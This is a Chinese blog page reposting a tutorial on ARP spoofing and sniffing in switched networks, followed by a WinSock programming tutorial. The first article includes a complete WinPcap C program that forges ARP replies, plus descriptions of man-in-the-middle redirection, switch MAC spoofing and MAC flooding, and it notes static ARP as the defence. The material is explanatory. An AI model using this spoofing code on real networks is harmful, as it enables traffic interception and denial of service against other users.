飘零风雨亭: 网络编程

交换网络中的嗅探和ARP欺骗(转载)

Wed, 10 Jan 2007 05:33:16 GMT

http://my.opera.com/neutronstar/blog/?startidx=3

交换网络中的嗅探和ARP欺骗(转载)

Monday, 20. March 2006, 03:19:46

嗅探, Sniff, ARP, Mac

以太网内的嗅探（sniff）对于网络安全来说并不是什么好事，虽然对于网络管理员能够跟踪数据包并且发现
网络问题，但是如果被破坏者利用的话，就对整个网络构成严重的安全威胁。至于嗅探的好处和坏处就不罗嗦了。

ARP缓存表
假设这样一个网络：

——————————
| HUB |
——————————
| | |
| | |
| | |
HostA HostB HostC

其中
A的地址为：IP：192.168.10.1 MAC: AA-AA-AA-AA-AA-AA
B的地址为：IP：192.168.10.2 MAC: BB-BB-BB-BB-BB-BB
C的地址为：IP：192.168.10.3 MAC: CC-CC-CC-CC-CC-CC

假设B是属于一个嗅探爱好者的，比如A机器的ARP缓存：

C:\>arp -a

Interface: 192.168.10.1 on Interface 0x1000003
Internet Address Physical Address Type
192.168.10.3 CC-CC-CC-CC-CC-CC dynamic

这是192.168.10.1机器上的ARP缓存表，假设，A进行一次ping 192.168.10.3操作，PING主机C，会查询本地的
ARP缓存表，找到C的IP地址的MAC地址，那么就会进行数据传输，目的地就是C 的MAC地址。如果A中没有C的ARP记
录，那么A首先要广播一次ARP请求，当C接收到A 的请求后就发送一个应答，应答中包含有C的MAC地址，然后A接
收到C的应答，就会更新本地的ARP缓存。接着使用这个MAC地址发送数据（由网卡附加MAC地址）。
因此，本地高速缓存的这个ARP表是本地网络流通的基础，而且这个缓存是动态的。

集线器网络(Hub-Based)

很多网络都是用Hub进行连接的。数据包经过Hub传输到其他计算机的时候，Hub只是简单地把这个数据包广播
到Hub的所有端口上。
这就是上面举例中的一种网络结构。

现在A需要发送TCP数据包给C。首先，A需要检查本地的ARP 缓存表，查看是否有IP为192.168.10.3即C的ARP记
录，如果没有那么A将要广播一个ARP请求，当C接收到这个请求后，就作出应答，然后A更新自己的ARP缓存表。并
且获得与C的IP相对应的MAC地址。这时就传输这个TCP数据包，Ethernet帧中就包含了C的MAC地址。当数据包传输
到HUB的时候，HUB直接把整个数据包广播到所有的端口，然后C就能够接收到A发送的数据包。

正因为HUB把数据广播到所有的端口，所以计算机B也能够收到A发送给C的数据包。这正是达到了B嗅探的目的。

因此，Hub-Based的网络基本没有安全可言，嗅探在这样的网络中非常容易。

交换网络（Switched Lan）

交换机用来代替HUB，正是为了能够解决HUB的几个安全问题，其中就是能够来解决嗅探问题。Switch不是把数
据包进行端口广播，它将通过自己的ARP缓存来决定数据包传输到那个端口上。因此，在交换网络上，如果把上面
例子中的HUB换为Switch，B就不会接收到A发送给C的数据包，即便设置网卡为混杂模式，也不能进行嗅探。

ARP欺骗（ ARP spoofing）

ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候，就会对本地的ARP缓存
进行更新，将应答中的IP和MAC地址存储在ARP缓存中。因此，在上面的假设网络中，B向A发送一个自己伪造的ARP应
答，而这个应答中的数据为发送方IP地址是192.168.10.3（C的IP地址），MAC地址是DD-DD-DD-DD-DD-DD（C的MAC地
址本来应该是CC-CC-CC-CC-CC-CC，这里被伪造了）。当A接收到B伪造的ARP应答，就会更新本地的ARP缓存（A可不
知道被伪造了）。

现在A机器的ARP缓存更新了：

C:\>arp -a

Interface: 192.168.10.1 on Interface 0x1000003
Internet Address Physical Address Type
192.168.10.3 DD-DD-DD-DD-DD-DD dynamic

这可不是小事。局域网的网络流通可不是根据IP地址进行，而是按照MAC地址进行传输。现在192.168.10.3的
MAC地址在A上被改变成一个本不存在的MAC地址。现在A开始Ping 192.168.10.3，网卡递交的MAC地址是
DD-DD-DD-DD-DD-DD，结果是什么呢？网络不通，A根本不能Ping通C！！

这就是一个简单的ARP欺骗。

我们来实现这样的ARP欺骗。这里需要使用一个WinPcap提供的API和驱动。（http://winpcap.polito.it/）
winpcap是一个伟大而且开放的项目。Windows环境下的nmap、snort、windump都是使用的winpcap。

///////////////////////////////////////////////////////////////////////////////
//
// ARP Sender
//
// Creator: Refdom
// Email: refdom@263.net
// Home Page: www.opengram.com
//
// 2002/4/7
//
////////////////////////////////////////////////////////////////////////////////

#include "stdafx.h"
#include "Mac.h" //GetMacAddr()，我写的把字符串转换为MAC地址的函数，就不列在这里了
#include <stdio.h>
#include <Packet32.h>

#define EPT_IP 0x0800 /* type: IP */
#define EPT_ARP 0x0806 /* type: ARP */
#define EPT_RARP 0x8035 /* type: RARP */
#define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */
#define ARP_REQUEST 0x0001 /* ARP request */
#define ARP_REPLY 0x0002 /* ARP reply */

#define Max_Num_Adapter 10

#pragma pack(push, 1)

typedef struct ehhdr
{
unsigned char eh_dst[6]; /* destination ethernet addrress */
unsigned char eh_src[6]; /* source ethernet addresss */
unsigned short eh_type; /* ethernet pachet type */
}EHHDR, *PEHHDR;

typedef struct arphdr
{
unsigned short arp_hrd; /* format of hardware address */
unsigned short arp_pro; /* format of protocol address */
unsigned char arp_hln; /* length of hardware address */
unsigned char arp_pln; /* length of protocol address */
unsigned short arp_op; /* ARP/RARP operation */

unsigned char arp_sha[6]; /* sender hardware address */
unsigned long arp_spa; /* sender protocol address */
unsigned char arp_tha[6]; /* target hardware address */
unsigned long arp_tpa; /* target protocol address */
}ARPHDR, *PARPHDR;

typedef struct arpPacket
{
EHHDR ehhdr;
ARPHDR arphdr;
} ARPPACKET, *PARPPACKET;

#pragma pack(pop)

int main(int argc, char* argv[])
{
static char AdapterList[Max_Num_Adapter][1024];
char szPacketBuf[600];
char MacAddr[6];

LPADAPTER lpAdapter;
LPPACKET lpPacket;
WCHAR AdapterName[2048];
WCHAR *temp,*temp1;
ARPPACKET ARPPacket;

ULONG AdapterLength = 1024;

int AdapterNum = 0;
int nRetCode, i;

//Get The list of Adapter
if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
{
printf("Unable to retrieve the list of the adapters!\n");
return 0;
}

temp = AdapterName;
temp1=AdapterName;
i = 0;
while ((*temp != '\0')||(*(temp-1) != '\0'))
{
if (*temp == '\0')
{
memcpy(AdapterList,temp1,(temp-temp1)*2);
temp1=temp+1;
i++;
}

temp++;
}

AdapterNum = i;
for (i = 0; i < AdapterNum; i++)
wprintf(L"\n%d- %s\n", i+1, AdapterList);
printf("\n");

//Default open the 0
lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);
//取第一个网卡（假设啦）

if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
nRetCode = GetLastError();
printf("Unable to open the driver, Error Code : %lx\n", nRetCode);
return 0;
}

lpPacket = PacketAllocatePacket();
if(lpPacket == NULL)
{
printf("\nError:failed to allocate the LPPACKET structure.");
return 0;
}

ZeroMemory(szPacketBuf, sizeof(szPacketBuf));

if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))
{
printf ("Get Mac address error!\n");
}
memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址

if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。（A的地址）

ARPPacket.ehhdr.eh_type = htons(EPT_ARP);

ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
ARPPacket.arphdr.arp_pro = htons(EPT_IP);
ARPPacket.arphdr.arp_hln = 6;
ARPPacket.arphdr.arp_pln = 4;
ARPPacket.arphdr.arp_op = htons(ARP_REPLY);

if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //伪造的C的MAC地址
ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP地址

if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6); //目标A的MAC地址
ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目标A的IP地址

memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));
PacketInitPacket(lpPacket, szPacketBuf, 60);

if(PacketSetNumWrites(lpAdapter, 2)==FALSE)
{
printf("warning: Unable to send more than one packet in a single write!\n");
}

if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
{
printf("Error sending the packets!\n");
return 0;
}

printf ("Send ok!\n");

// close the adapter and exit
PacketFreePacket(lpPacket);
PacketCloseAdapter(lpAdapter);
return 0;
}

于是A接收到一个被伪造的ARP应答。A被欺骗了！！倘若在局域网中看某某机器不顺眼，……

以太网中的嗅探太有作用了，但是交换网络对嗅探进行了限制，让嗅探深入程度大打折扣。不过，很容易就能
够发现，主机、Switch（动态更新地址表类型，下同）中的缓存表依然是（主要是）动态的。要在一个交换网络中
进行有效的嗅探工作（地下党？），需要采用对付各种缓存表的办法，连骗带哄，甚至乱踹，在上面的ARP欺骗基础
中我们就能够做到。

对目标进行ARP欺骗

就象上面程序中实现的一样，对目标A进行欺骗，A去Ping主机C却发送到了DD-DD-DD-DD-DD-DD这个地址上。如
果进行欺骗的时候，把C的MAC地址骗为BB-BB-BB-BB-BB-BB，于是A发送到C上的数据包都变成发送给B的了。这不正
好是B能够接收到A发送的数据包了么，嗅探成功。
A对这个变化一点都没有意识到，但是接下来的事情就让A产生了怀疑。因为A和C连接不上了！！B对接收到A发送
给C的数据包可没有转交给C。
做“man in the middle”,进行ARP重定向。打开B的IP转发功能，A发送过来的数据包，转发给C，好比一个路由
器一样。不过，假如B发送ICMP重定向的话就中断了整个计划。
直接进行整个包的修改转发，捕获到A发送给的数据包，全部进行修改后再转发给C，而C接收到的数据包完全认为
是从A发送来的。不过，C发送的数据包又直接传递给A，倘若再次进行对C的ARP欺骗。现在B就完全成为A与C的中间桥
梁了。

对Switch的MAC欺骗

Switch上同样维护着一个动态的MAC缓存，它一般是这样，首先，交换机内部有一个对应的列表，交换机的端口对
应MAC地址表Port n <-> Mac记录着每一个端口下面存在那些MAC地址，这个表开始是空的，交换机从来往数据帧中学
习。举例来说，当Port 1口所接的计算机发出了一个数据帧，这帧数据从Port 1进入交换机，交换机就取这个数据帧
的原MAC地址AAAA，然后在地址表中记录：Port 1 <-> AAAA, 以后，所有发向MAC地址为AAAA的数据帧，就全从Port 1
口输出，而不会从其它的口输出。

跟前面对目标进行欺骗相类似。如果把Switch上的MAC-PORT表修改了，那么对应的MAC和PORT就一样跟着改变，本来
不应该发送到嗅探器的数据结果发送过来了，这样也达到了嗅探的目的。修改本地（B）发送的数据包MAC地址为原来A的
MAC地址，当经过交换机的时候，交换机发现端口B对应的地址是机器A的MAC地址，于是就将会把A的MAC地址同端口B相对
应，从而把发送给A的数据从端口B传输了，本来这些应该是传送到端口A的。因此，从机器B就能够获得发送给A的数据。

但是，这里有一个问题，A将接收不到数据了。嗅探不目的并不是要去破坏正常的数据通讯。同时，从刚才的欺骗中，
让交换机中一个MAC地址对应了多个端口，这种对于交换机处理还不清楚。还请多指教。

对Switch进行Flood

就象上面介绍Switch的MAC和Port对应关系形成的原理，因为MAC-PORT缓存表是动态更新的，那么让整个Switch的端
口表都改变，对Switch进行MAC地址欺骗的Flood，不断发送大量假MAC地址的数据包，Switch就更新MAC-PORT缓存，如果
能通过这样的办法把以前正常的MAC和Port对应的关系破坏了，那么Switch就会进行泛洪发送给每一个端口，让Switch基
本变成一个HUB，向所有的端口发送数据包，要嗅探的目的一样能够达到。

存在的问题，Switch对这种极限情况的处理，因为属于不正常情况，可能会引起包丢失情况。而且现在对这种极限情
况的Switch状态还很不了解。如果对网络通讯造成了大的破坏，这不属于正常的嗅探（嗅探也会引起一些丢失）。

对Switch进行各种手段的操作，需要小心，如果打开了端口保护，那么可能会让交换机关闭所有用户。因此，对交换
机这样的设备进行欺骗或者其他操作，还不如对一些上级设备进行欺骗，比如目标主机或者路由器。

至于上面关于嗅探的手段都是基于这个动态表进行的。因此，使用静态的ARP就能够进行防范了。对于WIN，使用
arp -s 来进行静态ARP的设置。

作者Blog：http://blog.csdn.net/kgdiwss/

WinSock学习笔记(转载)

Fri, 25 Nov 2005 03:36:36 GMT

网上看到这篇文章觉得总结得不错，故转载
来源:
http://www.azure.com.cn/article.asp?id=78

具体内容也可参见本回复

flipcode 2005-8-21 22:36:45

注册: 2004-5 状态: online 1

flipcode

爱心战士
发表于: 2005-8-21 22:37:00

--------------------------------------------------------------------------------
Re: WinSock学习笔记(转载)

WinSock学习笔记
[ 2005-06-30 20:36:43 | 作者: Admin ]
字体大小: 大 | 中 | 小
作者：肖进

Socket（套接字）

◆先看定义：
typedef unsigned int u_int;
typedef u_int SOCKET;
◆Socket相当于进行网络通信两端的插座，只要对方的Socket和自己的Socket有通信联接，双方就可以发送和接收数据了。其定义类似于文件句柄的定义。

◆Socket有五种不同的类型：

1、流式套接字(stream socket)
定义：
#define SOCK_STREAM 1
流式套接字提供了双向、有序的、无重复的以及无记录边界的数据流服务，适合处理大量数据。它是面向联结的，必须建立数据传输链路，同时还必须对传输的数据进行验证，确保数据的准确性。因此，系统开销较大。

2、数据报套接字(datagram socket)

定义：
#define SOCK_DGRAM 2
数据报套接字也支持双向的数据流，但不保证传输数据的准确性，但保留了记录边界。由于数据报套接字是无联接的，例如广播时的联接，所以并不保证接收端是否正在侦听。数据报套接字传输效率比较高。

3、原始套接字(raw-protocol interface)

定义：
#define SOCK_RAW 3
原始套接字保存了数据包中的完整IP头，前面两种套接字只能收到用户数据。因此可以通过原始套接字对数据进行分析。
其它两种套接字不常用，这里就不介绍了。

◆Socket开发所必须需要的文件(以WinSock V2.0为例)：

头文件：Winsock2.h

库文件：WS2_32.LIB

动态库：W32_32.DLL

一些重要的定义

1、数据类型的基本定义：这个大家一看就懂。
typedef unsigned char u_char;
typedef unsigned short u_short;
typedef unsigned int u_int;
typedef unsigned long u_long;
2、网络地址的数据结构，有一个老的和一个新的的，请大家留意，如果想知道为什么，
请发邮件给Bill Gate。其实就是计算机的IP地址，不过一般不用用点分开的IP地
址，当然也提供一些转换函数。

◆ 旧的网络地址结构的定义，为一个4字节的联合：
struct in_addr
{
union
{
struct { u_char s_b1,s_b2,s_b3,s_b4; } S_un_b;
struct { u_short s_w1,s_w2; } S_un_w;
u_long S_addr;
} S_un;
#define s_addr S_un.S_addr /* can be used for most tcp & ip code */
//下面几行省略,反正没什么用处。
};
其实完全不用这么麻烦，请看下面:

◆ 新的网络地址结构的定义：
非常简单，就是一个无符号长整数 unsigned long。举个例子：IP地址为127.0.0.1的网络地址是什么呢？请看定义：
#define INADDR_LOOPBACK 0x7f000001

3、套接字地址结构

(1)、sockaddr结构：
struct sockaddr {
u_short sa_family; /* address family */
char sa_data[14]; /* up to 14 bytes of direct address */
};
sa_family为网络地址类型，一般为AF_INET，表示该socket在Internet域中进行通信，该地址结构随选择的协议的不同而变化，因此一般情况下另一个与该地址结构大小相同的sockaddr_in结构更为常用，sockaddr_in结构用来标识TCP/IP协议下的地址。换句话说，这个结构是通用socket地址结构，而下面的sockaddr_in是专门针对Internet域的socket地址结构。

(2)、sockaddr_in结构
struct sockaddr_in {
short sin_family;
u_short sin_port;
struct in_addr sin_addr;
char sin_zero[8];
};
sin _family为网络地址类型，必须设定为AF_INET。sin_port为服务端口，注意不要使用已固定的服务端口，如HTTP的端口80等。如果端口设置为0，则系统会自动分配一个唯一端口。sin_addr为一个unsigned long的IP地址。sin_zero为填充字段，纯粹用来保证结构的大小。

◆ 将常用的用点分开的IP地址转换为unsigned long类型的IP地址的函数：
unsigned long inet_addr(const char FAR * cp )
用法：
unsigned long addr=inet_addr("192.1.8.84")

◆ 如果将sin_addr设置为INADDR_ANY，则表示所有的IP地址，也即所有的计算机。
#define INADDR_ANY (u_long)0x00000000

4、主机地址：

先看定义：
struct hostent {
char FAR * h_name; /* official name of host */
char FAR * FAR * h_aliases; /* alias list */
short h_addrtype; /* host address type */
short h_length; /* length of address */
char FAR * FAR * h_addr_list; /* list of addresses */
#define h_addr h_addr_list[0] /* address, for backward compat */
};
h_name为主机名字。
h_aliases为主机别名列表。
h_addrtype为地址类型。
h_length为地址类型。
h_addr_list为IP地址，如果该主机有多个网卡，就包括地址的列表。
另外还有几个类似的结构，这里就不一一介绍了。

5、常见TCP/IP协议的定义：
#define IPPROTO_IP 0
#define IPPROTO_ICMP 1
#define IPPROTO_IGMP 2
#define IPPROTO_TCP 6
#define IPPROTO_UDP 17
#define IPPROTO_RAW 255
具体是什么协议，大家一看就知道了。

套接字的属性

为了灵活使用套接字，我们可以对它的属性进行设定。

1、属性内容：
//允许调试输出
#define SO_DEBUG 0x0001 /* turn on debugging info recording */
//是否监听模式
#define SO_ACCEPTCONN 0x0002 /* socket has had listen() */
//套接字与其他套接字的地址绑定
#define SO_REUSEADDR 0x0004 /* allow local address reuse */
//保持连接
#define SO_KEEPALIVE 0x0008 /* keep connections alive */
//不要路由出去
#define SO_DONTROUTE 0x0010 /* just use interface addresses */
//设置为广播
#define SO_BROADCAST 0x0020 /* permit sending of broadcast msgs */
//使用环回不通过硬件
#define SO_USELOOPBACK 0x0040 /* bypass hardware when possible */
//当前拖延值
#define SO_LINGER 0x0080 /* linger on close if data present */
//是否加入带外数据
#define SO_OOBINLINE 0x0100 /* leave received OOB data in line */
//禁用LINGER选项
#define SO_DONTLINGER (int)(~SO_LINGER)
//发送缓冲区长度
#define SO_SNDBUF 0x1001 /* send buffer size */
//接收缓冲区长度
#define SO_RCVBUF 0x1002 /* receive buffer size */
//发送超时时间
#define SO_SNDTIMEO 0x1005 /* send timeout */
//接收超时时间
#define SO_RCVTIMEO 0x1006 /* receive timeout */
//错误状态
#define SO_ERROR 0x1007 /* get error status and clear */
//套接字类型
#define SO_TYPE 0x1008 /* get socket type */

2、读取socket属性：
int getsockopt(SOCKET s, int level, int optname, char FAR * optval, int FAR * optlen)
s为欲读取属性的套接字。level为套接字选项的级别，大多数是特定协议和套接字专有的。如IP协议应为 IPPROTO_IP。

optname为读取选项的名称
optval为存放选项值的缓冲区指针。
optlen为缓冲区的长度
用法：
int ttl=0; //读取TTL值
int rc = getsockopt( s, IPPROTO_IP, IP_TTL, (char *)&ttl, sizeof(ttl));
//来自MS platform SDK 2003

3、设置socket属性：
int setsockopt(SOCKET s,int level, int optname,const char FAR * optval, int optlen)
s为欲设置属性的套接字。
level为套接字选项的级别，用法同上。
optname为设置选项的名称
optval为存放选项值的缓冲区指针。
optlen为缓冲区的长度

用法：
int ttl=32; //设置TTL值
int rc = setsockopt( s, IPPROTO_IP, IP_TTL, (char *)&ttl, sizeof(ttl));

套接字的使用步骤

1、启动Winsock：对Winsock DLL进行初始化，协商Winsock的版本支持并分配必要的
资源。（服务器端和客户端）
int WSAStartup( WORD wVersionRequested, LPWSADATA lpWSAData )
wVersionRequested为打算加载Winsock的版本，一般如下设置：
wVersionRequested=MAKEWORD(2,0)
或者直接赋值：wVersionRequested=2

LPWSADATA为初始化Socket后加载的版本的信息,定义如下：
typedef struct WSAData {
WORD wVersion;
WORD wHighVersion;
char szDescription[WSADESCRIPTION_LEN+1];
char szSystemStatus[WSASYS_STATUS_LEN+1];
unsigned short iMaxSockets;
unsigned short iMaxUdpDg;
char FAR * lpVendorInfo;
} WSADATA, FAR * LPWSADATA;
如果加载成功后数据为：

wVersion＝2 表示加载版本为2.0。
wHighVersion＝514 表示当前系统支持socket最高版本为2.2。
szDescription="WinSock 2.0"
szSystemStatus="Running" 表示正在运行。
iMaxSockets＝0 表示同时打开的socket最大数，为0表示没有限制。
iMaxUdpDg＝0 表示同时打开的数据报最大数，为0表示没有限制。
lpVendorInfo 没有使用，为厂商指定信息预留。

该函数使用方法：
WORD wVersion=MAKEWORD(2,0);
WSADATA wsData;
int nResult= WSAStartup(wVersion,&wsData);
if(nResult !=0)
{
//错误处理
}

2、创建套接字：（服务器端和客户端）
SOCKET socket( int af, int type, int protocol );
af为网络地址类型，一般为AF_INET，表示在Internet域中使用。
type为套接字类型，前面已经介绍了。
protocol为指定网络协议，一般为IPPROTO_IP。
用法：
SOCKET sock=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sock==INVALID_SOCKET)
{
//错误处理
}

3、套接字的绑定：将本地地址绑定到所创建的套接字上。（服务器端和客户端）
int bind( SOCKET s, const struct sockaddr FAR * name, int namelen )
s为已经创建的套接字。
name为socket地址结构，为sockaddr结构，如前面讨论的，我们一般使用sockaddr_in
结构，在使用再强制转换为sockaddr结构。
namelen为地址结构的长度。

用法：
sockaddr_in addr;
addr. sin_family=AF_INET;
addr. sin_port= htons(0); //保证字节顺序
addr. sin_addr.s_addr= inet_addr("192.1.8.84")
int nResult=bind(s,(sockaddr*)&addr,sizeof(sockaddr));
if(nResult==SOCKET_ERROR)
{
//错误处理
}

4、套接字的监听：（服务器端）
int listen(SOCKET s, int backlog )
s为一个已绑定但未联接的套接字。
backlog为指定正在等待联接的最大队列长度，这个参数非常重要，因为服务器一般可
以提供多个连接。
用法：
int nResult=listen(s,5) //最多5个连接
if(nResult==SOCKET_ERROR)
{
//错误处理
}

5、套接字等待连接:：（服务器端）
SOCKET accept( SOCKET s, struct sockaddr FAR * addr, int FAR * addrlen )
s为处于监听模式的套接字。
sockaddr为接收成功后返回客户端的网络地址。
addrlen为网络地址的长度。

用法：
sockaddr_in addr;
SOCKET s_d=accept(s,(sockaddr*)&addr,sizeof(sockaddr));
if(s==INVALID_SOCKET)
{
//错误处理
}

6、套接字的连结：将两个套接字连结起来准备通信。（客户端）
int connect(SOCKET s, const struct sockaddr FAR * name, int namelen )
s为欲连结的已创建的套接字。
name为欲连结的socket地址。
namelen为socket地址的结构的长度。

用法：
sockaddr_in addr;
addr. sin_family=AF_INET;
addr. sin_port=htons(0); //保证字节顺序
addr. sin_addr.s_addr= htonl(INADDR_ANY) //保证字节顺序
int nResult=connect(s,(sockaddr*)&addr,sizeof(sockaddr));
if(nResult==SOCKET_ERROR)
{
//错误处理
}

7、套接字发送数据：（服务器端和客户端）
int send(SOCKET s, const char FAR * buf, int len, int flags )
s为服务器端监听的套接字。
buf为欲发送数据缓冲区的指针。
len为发送数据缓冲区的长度。
flags为数据发送标记。
返回值为发送数据的字符数。

◆这里讲一下这个发送标记，下面8中讨论的接收标记也一样：

flag取值必须为0或者如下定义的组合：0表示没有特殊行为。
#define MSG_OOB 0x1 /* process out-of-band data */
#define MSG_PEEK 0x2 /* peek at incoming message */
#define MSG_DONTROUTE 0x4 /* send without using routing tables */
MSG_OOB表示数据应该带外发送，所谓带外数据就是TCP紧急数据。
MSG_PEEK表示使有用的数据复制到缓冲区内，但并不从系统缓冲区内删除。
MSG_DONTROUTE表示不要将包路由出去。

用法：
char buf[]="xiaojin";
int nResult=send(s,buf,strlen(buf));
if(nResult==SOCKET_ERROR)
{
//错误处理
}

8、套接字的数据接收：（客户端）
int recv( SOCKET s, char FAR * buf, int len, int flags )
s为准备接收数据的套接字。
buf为准备接收数据的缓冲区。
len为准备接收数据缓冲区的大小。
flags为数据接收标记。
返回值为接收的数据的字符数。

用法：
char mess[1000];
int nResult =recv(s,mess,1000,0);
if(nResult==SOCKET_ERROR)
{
//错误处理
}

9、中断套接字连接：通知服务器端或客户端停止接收和发送数据。（服务器端和客户端）
int shutdown(SOCKET s, int how)
s为欲中断连接的套接字。
How为描述禁止哪些操作，取值为：SD_RECEIVE、SD_SEND、SD_BOTH。
#define SD_RECEIVE 0x00
#define SD_SEND 0x01
#define SD_BOTH 0x02
用法：
int nResult= shutdown(s,SD_BOTH);
if(nResult==SOCKET_ERROR)
{
//错误处理
}

10、关闭套接字：释放所占有的资源。（服务器端和客户端）
int closesocket( SOCKET s )
s为欲关闭的套接字。

用法：
int nResult=closesocket(s);
if(nResult==SOCKET_ERROR)
{
//错误处理
}

与socket有关的一些函数介绍

1、读取当前错误值：每次发生错误时，如果要对具体问题进行处理，那么就应该调用这个函数取得错误代码。
int WSAGetLastError(void );
#define h_errno WSAGetLastError()
错误值请自己阅读Winsock2.h。

2、将主机的unsigned long值转换为网络字节顺序(32位)：为什么要这样做呢？因为不同的计算机使用不同的字节顺序存储数据。因此任何从Winsock函数对IP地址和端口号的引用和传给Winsock函数的IP地址和端口号均时按照网络顺序组织的。

u_long htonl(u_long hostlong);
举例：htonl(0)=0
htonl(80)= 1342177280

3、将unsigned long数从网络字节顺序转换位主机字节顺序，是上面函数的逆函数。

u_long ntohl(u_long netlong);
举例：ntohl(0)=0
ntohl(1342177280)= 80

4、将主机的unsigned short值转换为网络字节顺序(16位)：原因同2：

u_short htons(u_short hostshort);
举例：htonl(0)=0
htonl(80)= 20480

5、将unsigned short数从网络字节顺序转换位主机字节顺序，是上面函数的逆函数。
u_short ntohs(u_short netshort);
举例：ntohs(0)=0
ntohsl(20480)= 80

6、将用点分割的IP地址转换位一个in_addr结构的地址，这个结构的定义见笔记(一)，实际上就是一个unsigned long值。计算机内部处理IP地址可是不认识如192.1.8.84之类的数据。
unsigned long inet_addr( const char FAR * cp );
举例：inet_addr("192.1.8.84")=1409810880
inet_addr("127.0.0.1")= 16777343
如果发生错误，函数返回INADDR_NONE值。

7、将网络地址转换位用点分割的IP地址，是上面函数的逆函数。
char FAR * inet_ntoa( struct in_addr in );
举例：char * ipaddr=NULL;
char addr[20];
in_addr inaddr;
inaddr. s_addr=16777343;
ipaddr= inet_ntoa(inaddr);
strcpy(addr,ipaddr);
这样addr的值就变为127.0.0.1。
注意意不要修改返回值或者进行释放动作。如果函数失败就会返回NULL值。

8、获取套接字的本地地址结构：

int getsockname(SOCKET s, struct sockaddr FAR * name, int FAR * namelen );
s为套接字
name为函数调用后获得的地址值
namelen为缓冲区的大小。

9、获取与套接字相连的端地址结构：
int getpeername(SOCKET s, struct sockaddr FAR * name, int FAR * namelen );
s为套接字
name为函数调用后获得的端地址值
namelen为缓冲区的大小。

10、获取计算机名：
int gethostname( char FAR * name, int namelen );
name是存放计算机名的缓冲区
namelen是缓冲区的大小
用法：
char szName[255];
memset(szName,0,255);
if(gethostname(szName,255)==SOCKET_ERROR)
{
//错误处理
}
返回值为：szNmae="xiaojin"

11、根据计算机名获取主机地址：
struct hostent FAR * gethostbyname( const char FAR * name );
name为计算机名。
用法：
hostent * host;
char* ip;
host= gethostbyname("xiaojin");
if(host->h_addr_list[0])
{
   struct in_addr addr;
    memmove(&addr, host->h_addr_list[0]，4);
   //获得标准IP地址
   ip=inet_ ntoa (addr);
}

返回值为：hostent->h_name="xiaojin"
hostent->h_addrtype=2 //AF_INET
hostent->length=4
ip="127.0.0.1"

Winsock 的I/O操作：

1、两种I/O模式
阻塞模式：执行I/O操作完成前会一直进行等待，不会将控制权交给程序。套接字默认为阻塞模式。可以通过多线程技术进行处理。
非阻塞模式：执行I/O操作时，Winsock函数会返回并交出控制权。这种模式使用起来比较复杂，因为函数在没有运行完成就进行返回，会不断地返回 WSAEWOULDBLOCK错误。但功能强大。
为了解决这个问题，提出了进行I/O操作的一些I/O模型,下面介绍最常见的三种：

2、select模型：

　　通过调用select函数可以确定一个或多个套接字的状态，判断套接字上是否有数据，或
者能否向一个套接字写入数据。
int select( int nfds, fd_set FAR * readfds, fd_set FAR * writefds,
fd_set FAR *exceptfds, const struct timeval FAR * timeout );

◆先来看看涉及到的结构的定义：
a、 d_set结构：
#define FD_SETSIZE 64?
typedef struct fd_set {
u_int fd_count; /* how many are SET? */
SOCKET fd_array[FD_SETSIZE]; /* an array of SOCKETs */
} fd_set;

fd_count为已设定socket的数量
fd_array为socket列表，FD_SETSIZE为最大socket数量，建议不小于64。这是微软建
议的。

B、timeval结构：
struct timeval {
long tv_sec; /* seconds */
long tv_usec; /* and microseconds */
};
tv_sec为时间的秒值。
tv_usec为时间的毫秒值。
这个结构主要是设置select()函数的等待值，如果将该结构设置为(0,0)，则select()函数
会立即返回。

◆再来看看select函数各参数的作用：
nfds：没有任何用处，主要用来进行系统兼容用，一般设置为0。

readfds：等待可读性检查的套接字组。

writefds；等待可写性检查的套接字组。

exceptfds：等待错误检查的套接字组。

timeout：超时时间。

函数失败的返回值：
调用失败返回SOCKET_ERROR,超时返回0。
readfds、writefds、exceptfds三个变量至少有一个不为空，同时这个不为空的套接字组
种至少有一个socket，道理很简单，否则要select干什么呢。

举例：测试一个套接字是否可读：
fd_set fdread;
//FD_ZERO定义
// #define FD_ZERO(set) (((fd_set FAR *)(set))->fd_count=0)
FD_ZERO(&fdread);
FD_SET(s,&fdread)； //加入套接字，详细定义请看winsock2.h
if(select(0,%fdread,NULL,NULL,NULL)>0
{
//成功
if(FD_ISSET(s,&fread) //是否存在fread中，详细定义请看winsock2.h
{
//是可读的
}
}

◆I/O操作函数：主要用于获取与套接字相关的操作参数。
int ioctlsocket(SOCKET s, long cmd, u_long FAR * argp );
s为I/O操作的套接字。
cmd为对套接字的操作命令。
argp为命令所带参数的指针。

常见的命令： //确定套接字自动读入的数据量
#define FIONREAD _IOR(''''f'''', 127, u_long) /* get # bytes to read */
//允许或禁止套接字的非阻塞模式，允许为非0，禁止为0
#define FIONBIO _IOW(''''f'''', 126, u_long) /* set/clear non-blocking i/o */
//确定是否所有带外数据都已被读入
#define SIOCATMARK _IOR(''''s'''', 7, u_long) /* at oob mark? */

3、WSAAsynSelect模型：
WSAAsynSelect模型也是一个常用的异步I/O模型。应用程序可以在一个套接字上接收以
WINDOWS消息为基础的网络事件通知。该模型的实现方法是通过调用WSAAsynSelect函
数自动将套接字设置为非阻塞模式，并向WINDOWS注册一个或多个网络时间，并提供一
